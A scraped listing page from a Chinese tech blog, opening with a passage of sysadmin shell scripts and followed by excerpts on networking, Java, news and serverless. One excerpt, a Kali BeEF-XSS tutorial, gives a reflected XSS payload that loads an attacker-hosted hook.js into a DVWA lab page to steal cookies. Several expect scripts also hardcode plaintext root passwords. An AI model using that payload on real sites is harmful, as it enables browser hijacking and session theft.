3-who 4-pwd 0-exit " while : do #捕获用户键入值  read -p "please input number :" n  n1=`echo $n|sed s'/[0-9]//'g` #空输入检测   if [ -z "$n" ]  then  continue  fi #非数字输入检测   if [ -n "$n1" ]  then  exit 0  fi  break done case $n in  1)  date  ;;  2)  ls  ;;  3)  who  ;;  4)  pwd  ;;  0)  break  ;;     #输入数字非1-4的提示  *)  echo "please input number is [1-4]" esac Expect实现SSH免交互执行命令 Expect是一个自动交互式应用程序的工具,如telnet,ftp,passwd等。 需先安装expect软件包。 方法1:EOF标准输出作为expect标准输入 #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect << EOF set timeout 30 spawn ssh $USER@$IP    expect {     "(yes/no)" {send "yes\r"; exp_continue}     "password:" {send "$PASS\r"} } expect "$USER@*"  {send "$1\r"} expect "$USER@*"  {send "exit\r"} expect eof EOF 方法2: #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect -c "     spawn ssh $USER@$IP     expect {         \"(yes/no)\" {send \"yes\r\"; exp_continue}         \"password:\" {send \"$PASS\r\"; exp_continue}         \"$USER@*\" {send \"df -h\r exit\r\"; exp_continue}     }" 方法3:将expect脚本独立出来 登录脚本: # cat login.exp #!/usr/bin/expect set ip [lindex $argv 0] set user [lindex $argv 1] set passwd [lindex $argv 2] set cmd [lindex $argv 3] if { $argc != 4 } { puts "Usage: expect login.exp ip user passwd" exit 1 } set timeout 30 spawn ssh $user@$ip expect {     "(yes/no)" {send "yes\r"; exp_continue}     "password:" {send "$passwd\r"} } expect "$user@*"  {send "$cmd\r"} expect "$user@*"  {send "exit\r"} expect eof 执行命令脚本:写个循环可以批量操作多台服务器 #!/bin/bash HOST_INFO=user_info.txt for ip in $(awk '{print $1}' $HOST_INFO) do     user=$(awk -v I="$ip" 'I==$1{print $2}' $HOST_INFO)     pass=$(awk -v I="$ip" 'I==$1{print $3}' $HOST_INFO)     expect login.exp $ip $user $pass $1 done Linux主机SSH连接信息: # cat user_info.txt 192.168.1.120 root 123456 创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字,最后需要把每个用户的密码存在指定文件中 #!/bin/bash ############################################################## #创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字 #最后需要把每个用户的密码存在指定文件中 #前提条件:安装mkpasswd命令 ############################################################## #生成10个用户的序列(00-09) for u in `seq -w 0 09` do  #创建用户  useradd user_$u  #生成密码  p=`mkpasswd -s 0 -l 10`  #从标准输入中读取密码进行修改(不安全)  echo $p|passwd --stdin user_$u  #常规修改密码  echo -e "$p\n$p"|passwd user_$u  #将创建的用户及对应的密码记录到日志文件中  echo "user_$u $p" >> /tmp/userpassword done 监控httpd的进程数,根据监控情况做相应处理 #!/bin/bash ############################################################################################################################### #需求: #1.每隔10s监控httpd的进程数,若进程数大于等于500,则自动重启Apache服务,并检测服务是否重启成功 #2.若未成功则需要再次启动,若重启5次依旧没有成功,则向管理员发送告警邮件,并退出检测 #3.如果启动成功,则等待1分钟后再次检测httpd进程数,若进程数正常,则恢复正常检测(10s一次),否则放弃重启并向管理员发送告警邮件,并退出检测 ############################################################################################################################### #计数器函数 check_service() {  j=0  for i in `seq 1 5`   do  #重启Apache的命令  /usr/local/apache2/bin/apachectl restart 2> /var/log/httpderr.log     #判断服务是否重启成功  if [ $? -eq 0 ]  then  break  else  j=$[$j+1]  fi     #判断服务是否已尝试重启5次  if [ $j -eq 5 ]  then  mail.py  exit  fi  done  } while : do  n=`pgrep -l httpd|wc -l`  #判断httpd服务进程数是否超过500  if [ $n -gt 500 ]  then  /usr/local/apache2/bin/apachectl restart  if [ $? -ne 0 ]  then  check_service  else  sleep 60  n2=`pgrep -l httpd|wc -l`  #判断重启后是否依旧超过500              if [ $n2 -gt 500 ]  then   mail.py  exit  fi  fi  fi  #每隔10s检测一次  sleep 10 done 批量修改服务器用户密码 Linux主机SSH连接信息:旧密码 # cat old_pass.txt  192.168.18.217  root    123456     22 192.168.18.218  root    123456     22 内容格式:IP User Password Port SSH远程修改密码脚本:新密码随机生成 https://www.linuxprobe.com/books #!/bin/bash OLD_INFO=old_pass.txt NEW_INFO=new_pass.txt for IP in $(awk '/^[^#]/{print $1}' $OLD_INFO); do     USER=$(awk -v I=$IP 'I==$1{print $2}' $OLD_INFO)     PASS=$(awk -v I=$IP 'I==$1{print $3}' $OLD_INFO)     PORT=$(awk -v I=$IP 'I==$1{print $4}' $OLD_INFO)     NEW_PASS=$(mkpasswd -l 8)  # 随机密码     echo "$IP   $USER   $NEW_PASS   $PORT" >> $NEW_INFO     expect -c "     spawn ssh -p$PORT $USER@$IP     set timeout 2     expect {         \"(yes/no)\" {send \"yes\r\";exp_continue}         \"password:\" {send \"$PASS\r\";exp_continue}         \"$USER@*\" {send \"echo \'$NEW_PASS\' |passwd --stdin $USER\r exit\r\";exp_continue}     }" done 生成新密码文件: # cat new_pass.txt  192.168.18.217  root    n8wX3mU%      22 192.168.18.218  root    c87;ZnnL      22 iptables自动屏蔽访问网站频繁的IP 场景:恶意访问,安全防范 1)屏蔽每分钟访问超过200的IP 方法1:根据访问日志(Nginx为例) #!/bin/bash DATE=$(date +%d/%b/%Y:%H:%M) ABNORMAL_IP=$(tail -n5000 access.log |grep $DATE |awk '{a[$1]++}END{for(i in a)if(a[i]>100)print i}') #先tail防止文件过大,读取慢,数字可调整每分钟最大的访问量。awk不能直接过滤日志,因为包含特殊字符。 for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 方法2:通过TCP建立的连接 #!/bin/bash ABNORMAL_IP=$(netstat -an |awk '$4~/:80$/ && $6~/ESTABLISHED/{gsub(/:[0-9]+/,"",$5);{a[$5]++}}END{for(i in a)if(a[i]>100)print i}') #gsub是将第五列(客户端IP)的冒号和端口去掉 for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 2)屏蔽每分钟SSH尝试登录超过10次的IP 方法1:通过lastb获取登录状态: #!/bin/bash DATE=$(date +"%a %b %e %H:%M") #星期月天时分  %e单数字时显示7,而%d显示07 ABNORMAL_IP=$(lastb |grep "$DATE" |awk '{a[$3]++}END{for(i in a)if(a[i]>10)print i}') for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 方法2:通过日志获取登录状态 #!/bin/bash DATE=$(date +"%b %d %H") ABNORMAL_IP="$(tail -n10000 /var/log/auth.log |grep "$DATE" |awk '/Failed/{a[$(NF-3)]++}END{for(i in a)if(a[i]>5)print i}')" for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -A INPUT -s $IP -j DROP         echo "$(date +"%F %T") - iptables -A INPUT -s $IP -j DROP" >>~/ssh-login-limit.log     fi done 根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁 #!/bin/bash #################################################################################### #根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁 #################################################################################### logfile=/data/log/access.log #显示一分钟前的小时和分钟 d1=`date -d "-1 minute" +%H%M` d2=`date +%M` ipt=/sbin/iptables ips=/tmp/ips.txt block() {  #将一分钟前的日志全部过滤出来并提取IP以及统计访问次数  grep '$d1:' $logfile|awk '{print $1}'|sort -n|uniq -c|sort -n > $ips  #利用for循环将次数超过100的IP依次遍历出来并予以封禁  for i in `awk '$1>100 {print $2}' $ips`  do  $ipt -I INPUT -p tcp --dport 80 -s $i -j REJECT  echo "`date +%F-%T` $i" >> /tmp/badip.log  done } unblock() {  #将封禁后所产生的pkts数量小于10的IP依次遍历予以解封  for a in `$ipt -nvL INPUT --line-numbers |grep '0.0.0.0/0'|awk '$2<10 {print $1}'|sort -nr`  do   $ipt -D INPUT $a  done  $ipt -Z } #当时间在00分以及30分时执行解封函数 if [ $d2 -eq "00" ] || [ $d2 -eq "30" ]  then  #要先解再封,因为刚刚封禁时产生的pkts数量很少  unblock  block  else  block fi 判断用户输入的是否为IP地址 方法1: #!/bin/bash function check_ip(){     IP=$1     VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}')     if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$">/dev/null; then         if [ $VALID_CHECK == "yes" ]; then             echo "$IP available."         else             echo "$IP not available!"         fi     else         echo "Format error!"     fi } check_ip 192.168.1.1 check_ip 256.1.1.1 方法2: #!/bin/bash function check_ip(){     IP=$1     if [[ $IP =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then         FIELD1=$(echo $IP|cut -d. -f1)         FIELD2=$(echo $IP|cut -d. -f2)         FIELD3=$(echo $IP|cut -d. -f3)         FIELD4=$(echo $IP|cut -d. -f4)         if [ $FIELD1 -le 255 -a $FIELD2 -le 255 -a $FIELD3 -le 255 -a $FIELD4 -le 255 ]; then             echo "$IP available."         else             echo "$IP not available!"         fi     else         echo "Format error!"     fi } check_ip 192.168.1.1 check_ip 256.1.1.1 增加版: 加个死循环,如果IP可用就退出,不可用提示继续输入,并使用awk判断。 #!/bin/bash function check_ip(){     local IP=$1     VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}')     if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$" >/dev/null; then         if [ $VALID_CHECK == "yes" ]; then             return 0         else             echo "$IP not available!"             return 1         fi     else         echo "Format error! Please input again."         return 1     fi } while true; do     read -p "Please enter IP: " IP     check_ip $IP     [ $? -eq 0 ] && break || continue done 一如既往的学习,一如既往的整理,一如即往的分享。感谢支持 ...

    2021-04-17 577
  • 微信被爆出存在高危0day漏洞!新版本已修复,看到尽快更新!

    微信被国内某安全团队(青藤)爆出,在电脑版微信客户端中捕获到一个高危等级的在野0day漏洞。建议3.2.1.141版本以下的用户立即更新! 此次被爆出的高危0day黑客只需要通过微信发送一个特制web链接,当用户点击链接后,微信电脑(windows)版进程wechatweb.exe会加载shellcode执行,整个过程无文件落地,无新进程产生。 也就是说当你点击了对方准备好的链接后,你就已经中招了而且不会在文件和进程上体现,比较可怕! 安全团队在检测出wechatweb.exe存在内存恶意代码,继而排查出了0day漏洞之后,在第一时间报告腾讯安全应急响应中心并协助其修复漏洞。 截止目前,该漏洞已被修复并发布了更新版本,强烈建议看到此文章的朋友们,如果你的微信电脑版本在3.2.1.141以下,请及时点击设置-关于微信-检查更新,避免因此漏洞产生任何损失! 也可以尽快扩散给身边使用微信电脑版的朋友,减小漏洞威胁! ...

    2021-04-17 637
  • Java项目中存在大量判空代码,怎么解决?

    问题 为了避免空指针调用,我们经常会看到这样的语句 if (someobject != null) {     someobject.doCalc(); } 最终,项目中会存在大量判空代码,多么丑陋繁冗!如何避免这种情况?我们是否滥用了判空呢? 回答 这是初、中级程序猿经常会遇到的问题。他们总喜欢在方法中返回null,因此,在调用这些方法时,也不得不去判空。另外,也许受此习惯影响,他们总潜意识地认为,所有的返回都是不可信任的,为了保护自己程序,就加了大量的判空。 吐槽完毕,回到这个题目本身,进行判空前,请区分以下两种情况: null 是一个有效有意义的返回值(Where null is a valid response in terms of the contract; and) null是无效有误的(Where it isn’t a valid response.) 你可能还不明白这两句话的意思,不急,继续往下看,接下来将详细讨论这两种情况 先说第2种情况 null就是一个不合理的参数,就应该明确地中断程序,往外抛错误。这种情况常见于api方法。例如你开发了一个接口,id是一个必选的参数,如果调用方没传这个参数给你,当然不行。你要感知到这个情况,告诉调用方“嘿,哥们,你传个null给我做甚"。 相对于判空语句,更好的检查方式有两个 assert语句,你可以把错误原因放到assert的参数中,这样不仅能保护你的程序不往下走,而且还能把错误原因返回给调用方,岂不是一举两得。(原文介绍了assert的使用,这里省略) 也可以直接抛出空指针异常。上面说了,此时null是个不合理的参数,有问题就是有问题,就应该大大方方往外抛。 第1种情况会更复杂一些。 这种情况下,null是个”看上去“合理的值,例如,我查询数据库,某个查询条件下,就是没有对应值,此时null算是表达了“空”的概念。 这里给一些实践建议: 假如方法的返回类型是collections,当返回结果是空时,你可以返回一个空的collections(empty list),而不要返回null.这样调用侧就能大胆地处理这个返回,例如调用侧拿到返回后,可以直接print list.size(),又无需担心空指针问题。(什么?想调用这个方法时,不记得之前实现该方法有没按照这个原则?所以说,代码习惯很重要!如果你养成习惯,都是这样写代码(返回空collections而不返回null),你调用自己写的方法时,就能大胆地忽略判空) 返回类型不是collections,又怎么办呢? 那就返回一个空对象(而非null对象),下面举个“栗子”,假设有如下代码 public interface Action {   void doSomething();} public interface Parser {   Action findAction(String userInput);} 其中,Parse有一个接口FindAction,这个接口会依据用户的输入,找到并执行对应的动作。假如用户输入不对,可能就找不到对应的动作(Action),因此findAction就会返回null,接下来action调用doSomething方法时,就会出现空指针。 解决这个问题的一个方式,就是使用Null Object pattern(空对象模式) 我们来改造一下 类定义如下,这样定义findAction方法后,确保无论用户输入什么,都不会返回null对象: public class MyParser implements Parser {   private static Action DO_NOTHING = new Action() {     public void doSomething() { /* do nothing */ }   };   public Action findAction(String userInput) {     // ...     if ( /* we can't find any actions */ ) {       return DO_NOTHING;     }   } } 对比下面两份调用实例 1.冗余: 每获取一个对象,就判一次空 Parser parser = ParserFactory.getParser(); if (parser == null) {   // now what?   // this would be an example of where null isn't (or shouldn't be) a valid response } Action action = parser.findAction(someInput); if (action == null) {   // do nothing}  else {   action.doSomething(); } 2.精简 ParserFactory.getParser().findAction(someInput).doSomething(); 因为无论什么情况,都不会返回空对象,因此通过findAction拿到action后,可以放心地调用action的方法。扩展一下:Java:如何更优雅的处理空值? 其他回答精选: 如果要用equal方法,请用object<不可能为空>.equal(object<可能为空>)) 例如: 使用 "bar".equals(foo) 而不是 foo.equals("bar") Java8或者guava lib中,提供了Optional类,这是一个元素容器,通过它来封装对象,可以减少判空。不过代码量还是不少。不爽。 如果你想返回null,请停下来想一想,这个地方是否更应该抛出一个异常。 ...

    2021-04-17 574
  • 为什么BGP需要TCP三次握手?

    你的意思是BGP可以使用TCP,即使用TCP的封装头,用于封装BGP报文,为何要多此一举使用TCP的三次握手建立连接? 2012年有过类似的困惑。那时Cisco ASR 1000 产品开发一个新的Feature,一种新型的UDP隧道,为了检验其扩展性以及对各种报文的转发性能,需要从隧道的一端(入口)最大限度灌入IP、UDP、TCP流量。然后检查从隧道的另一端(出口)有多少流量流出来了? IP、UDP流量都没有问题,目的IP、目的端口随便填,流量都可以生成并进入隧道。(默认路由) TCP遇到了麻烦,需要提供对方的IP以及端口号。随便填了IP/端口,发现非但没有生成流量,测试仪还报错,提示连接失败。 突然才意识到TCP是基于连接的,只有本端的握手信号(第一次握手),被对方确认且收到对方握手信号(第二次握手),然后本端再确认收到对方握手信号(第三次握手)。 三次握手成功之后,本端才能生成TCP流量报文。可是脚本提供的对端IP、端口号都是不存在的,无法完成三次手,自然无法产生TCP数据流。 难道不能有一种特殊的API接口,只使用TCP的封装,不用建立TCP连接,这样就可以直接灌入TCP流量? 可是测试仪表并没有提供这个特殊的API。于是我就在网络上抓了一个TCP数据包,用脚本修改目的IP、端口号,于是就生成了TCP数据流量。 将生成的TCP流量灌入隧道入口,自然TCP流量从隧道出口流出。这些TCP流量最后到哪里去了? 丢了,它们的使命已经完成。 问题回来,BGP能否模仿我,自己生成TCP报文头,以避免TCP三次握手? 当然可以。 可是BGP自己生成的TCP封装 + BGP 报文,到达对端(Peer)的TCP/IP协议栈,谁来处理呢? 先是IP层来处理,因为二层ether type= 0x0800。 然后TCP来处理,因为IP头 Protocol = 6。 TCP将报文的源IP、目的IP、源端口、目的端口 提取出来,这四个参数输入hash()函数,得到一个hash ID,这个就是TCP连接库里的连接ID。 TCP在自己连接库没有查询到hash ID。TCP认为这是一个新建连接,可是发现报文里并没有SYN标志位,这是非法报文,丢弃并发Reset。 BGP既然选择了TCP做为自己的传输协议(运输供应商),那就把货物全权委托给自己的运输供应商。至于供应商TCP的内部运作方式,是无权干涉的,也是干涉不了的! 就凭TCP可以将字节流可靠按序送达目的地这句承诺,就可以让TCP这家供应商独领风骚多少年!不用TCP,还有更好的选择吗? ...

    2021-04-17 639
  • 2021Kali系列 -- XSS漏洞(Beef-xss)

    简介:BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能! 一、安装beef-xss 输入beef-xss,提示安装,输入y 二、启动beef-xss 三、访问登陆页面: http://192.168.139.133:3000/ui/panel 四、让目标主机访问存在生成的钩子代码 http://192.168.139.129:81/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.139.133:3000/hook.js"></script> 五、获取控制权限 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见 红色模块:表示模块不适用当前用户,有些红色模块也可以执行 橙色模块:模块可用,但结果对用户可见 灰色模块:模块为在目标浏览器上测试过 1、获取cookies 2、获取网页源码 3、让目标主机弹出提示信息 禁止非法,后果自负 ...

    2021-04-16 792
  • 默认路由是什么,凭什么它就行?

    看资料就是说路由表没有就发给默认路由,路由表没有不是正常情况吗?默认路由到底是什么?往外发是哪里?是上一级路由吗?一直到运营商的路由服务器吗?   0.0.0.0/0就是默认路由,它指向的是默认网关,即Default Gateway。为了解释清楚这几个字,讲个小故事吧。 有一天梁思申怎么也上不了网,于是给宋运辉打电话请求帮忙。宋运辉到了一看,呀,你的无线路由器没有开啊,那怎么上网啊? 梁思申抿嘴一笑,宋运辉将无线路由器的电源打开。过了几分钟,路由器启动完毕,梁思申的电脑就可以上网了。 梁思申:宋大厂长,教教我一点IT知识呗,下次遇到网络问题,我自己就可以解决了。 宋运辉:这还不简单,无线路由器家庭网络的网关(Default Gateway)。家里的电脑、IPAD、手机统统要通过这个网关与Internet通信。你把网关的电源关闭了,那你还怎么上网呢? 梁思申:懂了。听说每个电脑还需要一个IP地址才可以上网,那又是怎么回事呢? 宋运辉:你家里那么多手机、电脑,没有IP地址怎么区分每个设备呢? 梁思申:好像是的。那每一个电脑的IP地址又是怎么来的呢? 宋运辉:无线路由器内部运行一个程序叫DHCP服务器,只要无线连接上它,就可以给电脑动态分配一个IP地址以及其它上网信息。你的电脑获得的IP信息如下:  IP地址 =10.1.1.2 网络掩码 =255.255.255.0 默认网关 =10.1.1.1 DNS服务器 =10.1.1.1  你的电脑也不是吃素的,它会根据以上信息生成4条路由表条目:  10.1.1.2 255.255.255.255    本地链路(下一跳)   ---- >  我自己 10.1.1.0 255.255.255.0         本地链路(下一跳)  ----- >  局域网,包括网关 0.0.0.0   0.0.0.0                     10.1.1.1 (下一跳)   ------>  互联网 255.255.255.255 255.255.255.255  本地链路(下一跳)   ------>  广播地址,局域网所有主机,包括自己  梁思申:这个路由表看起来好难啊,解释解释呗。 宋运辉: Ping 10.1.1.2 时,使用路由1,这很好理解,自己与自己的本地通信。 Ping 10.1.1.1 时,使用路由2,同一网段的通信。 Ping 8.8.8.8 时,使用路由3,即默认路由,不同网段的通信。即你的主机与8.8.8.8主机不在一个网段。 Ping 255.255.255.255 时,使用路由4,广播通信,按照规则,这个网段(10.1.1.0/24)的主机都应该回复你,包括自己的主机。   梁思申:好像明白了。每次通信采用什么路由条目,是根据目的IP与路由条目的匹配度,匹配度越长的,越优先使用。如果没有匹配到,那么就使用0.0.0.0/0这条默认路由,做为最后的救命稻草,对吗? 宋运辉:看来你的小脑袋瓜不笨啊,一教就会!那我来考考你,如果DHCP服务器给你的电脑分配的IP参数少了一个信息,默认网关没有分配,你的电脑还能访问互联网吗? 梁思申:那就不能了。我的电脑没有了这条默认路由(0.0.0.0/0)。 宋运辉:很好。那电脑没有默认路由了,会怎么处理上网的报文呢?  梁思申:我猜猜,应该全部被扔了? 宋运辉:回答正确!再考你一个问题,你发现路由3与其它几条路由相比,是否有点另类? 梁思申:路由3 的下一跳和别的路由不一样。路由3 的下一跳 = 10.1.1.1,这个10.1.1.1应该就是路由器的IP地址,对吗? 宋运辉:是的。意思是当你Ping 8.8.8.8 这条命令产生的报文,需要发给网关10.1.1.1。 梁思申:Ping命令产生的报文,目的IP = 8.8.8.8, 源IP =10.1.1.2,那怎样才能将这个IP报文发给网关10.1.1.1呢? 宋运辉:这里有一个小花招。如果你的电脑将目的IP 修改为10.1.1.1, 那是可以将报文发给网关10.1.1.1。可是那不就相当于在 Ping 10.1.1.1了吗?并不是Ping 8.8.8.8的,对吗? 为了解决这个小难题,你的电脑只要将目的MAC,填写为网关的MAC地址即可。 所以你的电脑需要发ARP广播,请求网关10.1.1.1的MAC地址。获得了网关的MAC地址之后,一个神奇的报文就诞生了。  目的MAC= 网关10.1.1.1的MAC地址 源MAC  = 10.1.1.2 的MAC地址 (梁思申的电脑MAC地址) 目的IP =8.8.8.8 源IP=10.1.1.2  (梁思申的电脑IP地址)  当这个报文被网关(无线路由器)网卡成功接收,无线路由器也要查路由表,最后也没有匹配到,那么只好使用最后的救命稻草:0.0.0.0/0,这条路由指向ISP。同理可得,将IP报文发给ISP路由器。...

    2021-04-16 646
  • QQ群付费入群功能将于4月14日12点起停止服务

    QQ群付费入群功能将于4月14日12点起停止服务 今日,腾讯QQ在群帮助页面发布公告:宣布QQ群付费入群即将停止服务。 官方表示,由于运营策略调整,自2021年4月14日12点起,QQ付费入群功能将停止服务,之后将不再支持设置加群方式为“付费入群”。  据了解,QQ付费入群功能于2016年正式开通,申请入群的用户,需要向群主支付一定的加群费用才能入群,付费金额在1-20元范围内的整数,值得一提的是付费入群无需验证,支付费用后即可入群,不需群主或管理员审核。 腾讯当时表示,这种付费加群的方式适合资源分享、教程、学习等类型的群,用户加群的费用会在次日进入“群主钱包”中。 付费加群功能也对QQ群有一定的要求:需要群等级≥LV2,群信用星级≥5 星,群主 QQ 等级≥LV12。 说实在的,付费加群功能取消后会给那些付费群里分享资料的小伙伴们带来更多困难,加个群还要去先加群主给钱才能进群! 再一个网络骗子这么多,谁知道给钱了会不会让自己进群呢!...

    2021-04-11 629
  • 国内第一大案诞生!阿里被罚182亿

    阿里巴巴因垄断行为被重罚182.28亿元!   4月10日,市场监管总局对阿里巴巴垄断行为作出行政处罚,罚款182.28亿。   随后,阿里巴巴官方微博回应:今天,我们收到《国家市场监督管理总局行政处罚决定书》,对此处罚,我们诚恳接受,坚决服从。我们将强化依法经营,进一步加强合规体系建设,立足创新发展,更好履行社会责任。 2020年12月,市场监管总局依据《反垄断法》对阿里巴巴集团立案调查。    4月10日,国家市场监督管理总局依法对阿里巴巴集团实施“二选一”垄断行为作出行政处罚,罚款182.28亿元。   不得不说,这是小编见过的反垄断的最大的一笔罚款!!! ...

    2021-04-11 597
  • 为何主机位全0的地址不能配置到设备上

    有人可能会回答说因为RFC950标准的标准不允许,但是我想问的就是为什么这个标准不允许,是什么原因,主机位全0在这个标准下的用途是什么? 把192.168.1.0255.255.255.0配置在网卡上会报错,不能配置主机位为全1的地址到设备上我可以理解,因为主机位全为1表示广播地址,表示发送广播数据到该网段所有的设备。但是主机位为全0有啥用途呢?为什么不能配置在设备上呢?书本上看到的解释是:192.168.1.0/24 表示网段地址,包含192.168.1.1~192.168.1.254和一个广播地址192.168.1.255,但是为什么不能把192.168.1.0也分配给PC用,这个地址在数据包的传输上有其他用途吗?还是说使用了会造成什么冲突吗? 之所以有这样的限制,是由于早期的操作系统OS X, Linux, Solaris往往将网段地址192.168.1.0,当成广播地址来处理。所以当试图在这些主机上Ping 192.168.1.0 时,操作系统允许Ping,主机收到之后以为Ping的自己(广播),所以也会回复Ping。那么源主机上就会收到多个Ping的回复,很显然这会早成歧义。为了避免把网段的第一个IP地址错误当成一个广播地址。RFC规定,每个网段的第一个地址保留,不能被主机使用。那么192.168.1.0正好是网段192.168.1.0/24第一个地址,所以不能使用。 例子一:192.168.1.128/25这个地址主机可以使用吗?192.168.1.128是这个网段的第一个IP地址,所以不能使用。 例子二:192.168.1.0 /23这个地址主机可以使用吗?网段ID =192.168.0.0,IP = 192.168.1.0很显然≠网段ID,所以可以使用。 例子三:192.168.0.255 /23这个地址主机可以使用吗?192.168.0.255不是这个网段的最后一个地址,所以可以使用。这个网段的最后一个地址 =  192.168.1.255 为广播地址。 互联网链路上有很多P2P链路,那么依据该标准,最长的网络掩码只能是30位掩码,这样就会浪费的50% IP地址资源。比如现在有一条P2P互联链路,每端需要配置一个全局IP: 1.1.1.1/30用在本地端,1.1.1.2/30用在远程端。1.1.1.0/30保留不用,1.1.1.3/30用于广播地址。这后两个IP就是一种浪费。都P2P链路了,还要啥广播地址? 1.1.1.0/30也是由于历史的原因才保留的,怕引起歧义。 为了减少IP地址的浪费,RFC又出了一个新的规定,P2P链路使用31位掩码,可以没有保留地址及广播地址,该网段的两个地址分别用于P2P链路的两端。 1.1.1.0/31用在本地端,1.1.1.1/31用在远程端。 看1.1.1.0/31,不是被主机所使用了吗? 当然并不是所有的主机都支持这些新的规定,很多legacy的设备支持最长的掩码长度依然为30。所以配置之前需要做必要的测试工作。...

    2021-04-09 721
  • 无服务器 90% 的情况都很糟糕

    无服务器 10% 的情况令人惊叹。剩下的 90% 则是一个危险的黑洞,里面是云锁定、糟糕的测试、差劲的开发体验和复杂的设置。这就是为什么会有一些老人发誓不使用无服务器,同时又有大量的支持者(像我一样)试图把它推广到任何适合的地方。 不管是哪一方,都有一些事项需要留意。对于无服务器的支持者而言: 无服务器应用程序的架构并没有更简单; 无服务器消除 / 简化了 devops,因此,部署 /devops 更简单了; 为了让无服务器产生预期的效果,你必须采用无服务器架构,这与许多公共框架(如 Rails)的最佳实践建议不相符; 没有哪个云提供商的最佳实践是真正的最佳实践。他们的兴趣在于把你锁定,因此,他们会尝试将自己融入到你的开发 / 测试工作流,或者在开发中需要云连接; 在同一个项目中使用多种语言并不是一项特性。 对于无服务器的反对者来说: 几乎可以肯定,遵循云提供商的最佳实践已经让你吃不消了,忽略那些试图锁定你的云提供商,你会过得更好。 运行本地版本是有效的无服务器 DX 的必要条件,任何像样的无服务器架构都很容易像 docker 容器一样运行。 有一种无服务器架构可以让每个人在大多数情况下都满意。但这通常不明显,因为它处于无状态服务器最佳实践和云提供商最佳实践的交叉点上,但永远不会完全是哪一个。 1有效的无服务器架构 好了,现在我们已经冷静下来,我们已经认识到,无服务器不是编程和应用程序架构的救世主。现在可以开始构建简单、易于维护、可测试的应用程序了。 下面是无服务器架构必须做到的一些要点: 一切都必须能够在本地运行,与传统的有状态服务器一样(你需要能够运行自己的系统); 每个端点都应该有针对本地运行的无服务器实例运行的测试; 以一种简单、易于理解的方式处理路由,例如使用文件路径作为端点或一个中心化的 JSON 配置; 完全正常。它应该看起来像一个 npm 包、一个 pip 模块等等。没有人需要通过看图表来理解它是如何工作的; 每个端点所需的样板文件都尽可能少; 整体式的代码组织,每个应用程序一个库,其中包含多个端点。 云提供商应提供以下特性: 自动扩展端点; 自动部署和版本控制; 易于回滚。 2关于无服务器的恐怖故事 我曾见过有人在云提供商的云 IDE 中编写代码,两次测试之间要等 2 分钟。有时,一个端点连接到如此多的云服务,所以真的只能在生产环境中进行测试。有时不是所有端点都在一个库中,而是有很多库,每个库包含不同的系统组件。 开发体验是快速实施的关键,你应该努力保持快速的反馈循环和测试,让你可以快速前进,而不必担心整个系统崩溃。 优质的无服务器提供商每个无服务器提供商都必须经过改造才能成为有效的架构。 每个无服务器提供商都试图让你不可逆转地将它们融入。你不需要把它们融入。遵循最佳实践,除非它违反了“必须在本地运行”的原则,否则你应该没事。 现在,我喜欢以下这两家无服务器提供商: Vercel——基于 AWS Lambda 构建,重视开发体验。优秀的自动部署和版本控制。非常友好的价格。我在把 collegeai.com 重构到 Vercel 之后遭遇了峰值流量,而它在第一天扩展时就没有出现任何严重的问题。你可能需要放弃他们的开发系统(vc dev ),以获得一个有效的容器化 / 本地运行的应用程序,但这并不困难。 Cloudflare Workers——Wrangler(worker 的命令行开发工具)意识到本地开发的重要性,而 cloudflare worker 非常便宜。但是,我要提醒的是,它们对 NodeJS 模块的支持不是很好,所以它们还不是一个重要的选项,除非在低成本扩展绝对关键的情况下。 对于下面这两家提供商,我要提醒你注意: AWS Lambda(直接)——对于应用程序开发人员来说,AWS Lambda 太复杂了,我从未见过一个让人感觉正常、易于理解并且使用 Lambda 在本地运行的架构。 Fastly——如果需要一个销售电话来开始,那么我可以打赌开发体验将很垃圾。 我还没有足够的经验,听说得也不是很多: Netlify——它似乎有一个正确的方法,但是我不理解他们的专业级无服务器定价,为什么人们通常是从这里开始。 这个领域正在迅速变化,当看到新的竞争者和新的架构时,我会更新这里的内容。 3无服务器 90% 的情况都很糟糕,但也有 10% 的情况令人惊叹 炒作没问题,但要有理由支撑。无服务器使应用程序易于扩展和维护。我在 7 年前编写的无服务器应用程序仍然在运行,几乎不需要维护,也几乎不需要任何成本。我相信,无服务器可以使个人能够维护大型应用程序,否则将需要一个团队和稳定的收入流。 ...

    2021-04-08 612
  • 客户端1.1.1.1发给服务器请求之后掉线了,服务器何去何从?

